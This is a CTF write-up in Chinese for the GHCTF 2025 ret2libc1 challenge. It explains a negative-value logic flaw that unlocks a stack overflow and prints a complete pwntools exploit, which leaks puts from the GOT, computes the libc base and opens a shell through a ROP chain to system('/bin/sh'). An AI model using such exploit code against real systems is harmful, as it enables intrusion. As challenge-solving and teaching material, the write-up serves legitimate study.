当前位置: 首页 > news >正文

[GHCTF 2025]ret2libc1(NSSCTF)

先看主函数,有很多选项

shop 函数里存在栈溢出

只需要 money > 100000

 

没有 /bin/sh 字符串

也没有 system 函数

那么还是考虑打 ret2libc

虽然初始 money 只有 1000 $

但是 see_it 函数存在逻辑漏洞

没有检查 what_can_I_say >= count

所以即使 what_can_I_say 是负数,也可以换钱

如下图: 

我们只需要换来大于 100000 $ 即可进入 shop 函数打 ret2libc 了

很简单,还是用 puts 函数来泄露真实地址

稍微注意下,打本地和打远程可能有点不太一样

建议是直接用它给的 libc 文件来打远程

完整 exp:

# @author:My6n
# @time:20250523
from LibcSearcher import *
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node1.anna.nssctf.cn',28243)
io.sendline('7')
io.sendline('1000\n')
io.sendline('6')
io.sendline('5')
#print(io.recv())
elf = ELF('./pwn')
offset = 72
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
shop_addr = 0x400B1E
pop_rdi = 0x400d73
ret_addr = 0x400579payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(shop_addr)
io.sendlineafter('You can name it!!!',payload1)
io.recvline()
#print(io.recv())
#pause()
puts_addr = u64(io.recv()[:6].ljust(8,b'\x00'))libc = ELF('./libc.so.6') 
#libc = LibcSearcher('puts',puts_addr)
#libc_base = puts_addr - libc.dump('puts')
#system_addr = libc_base + libc.dump('system')
#bin_sh_addr = libc_base + libc.dump('str_bin_sh')libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))payload2 = cyclic(offset) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()

拿到 flag:NSSCTF{2f119064-abea-4165-baaa-c058ba639bbd}

http://www.xdnf.cn/news/612703.html

相关文章:

  • Spring Bean的生命周期
  • 深度学习模型可视化:Netron的安装和使用
  • 深度学习-162-DeepSeek之调用远程大模型API接口参数结构分析
  • Socket 的两个不同含义:硬件 CPU Socket 和 网络 Socket 的区别
  • MySQL——复合查询表的内外连
  • 第十节第七部分:Arrays类、自定义排序规则Comparable、自定义比较器Comparator
  • PHP简介
  • DEEPSEEK + 其他工具的玩法
  • 深入剖析Go并发性能瓶颈:pprof实战指南
  • 力扣面试150题--路径总和
  • Stable Diffusion底模对应的VAE推荐
  • Docker端口映射与容器互联
  • 基于JSP+MySQL 服装销售系统
  • 今日学习:AOP数据脱敏|线程池|方法引用的实例|背包(0-1)及子集
  • 什么是下一代DNS
  • 如何计算VLLM本地部署Qwen3-4B的GPU最小配置应该是多少?多人并发访问本地大模型的GPU配置应该怎么分配?
  • CustomSVG,一键生成SVG,文字秒变矢量图(WIN/MAC)
  • Vue3 + ThinkPHP8 + PHP8.x 生态与 Swoole 增强方案对比分析
  • ProfiNet转Ethernet/IP网关选型策略适配西门子S7-1500与三菱变频器的关键参数对比
  • ISO 20000体系:服务级别管理含义与解释
  • RBAC(基于角色的访问控制)模型详解:从原理到实践
  • 数据库三范式详解与应用建议
  • 汽车免拆诊断案例 | 2020款奔驰E300L车发动机故障灯偶尔异常点亮
  • 具身智能:OpenAI 的真正野心与未来展望
  • PyQt学习系列06-网络编程与通信协议
  • 1537. 【中山市第十一届信息学邀请赛决赛】未命名 (noname)
  • 74. 搜索二维矩阵
  • 论文Review 地面分割 GroundGrid
  • 方案精读:92页银行数据管控体系设计方案【附全文阅读】
  • Nginx中root与alias的区别及用法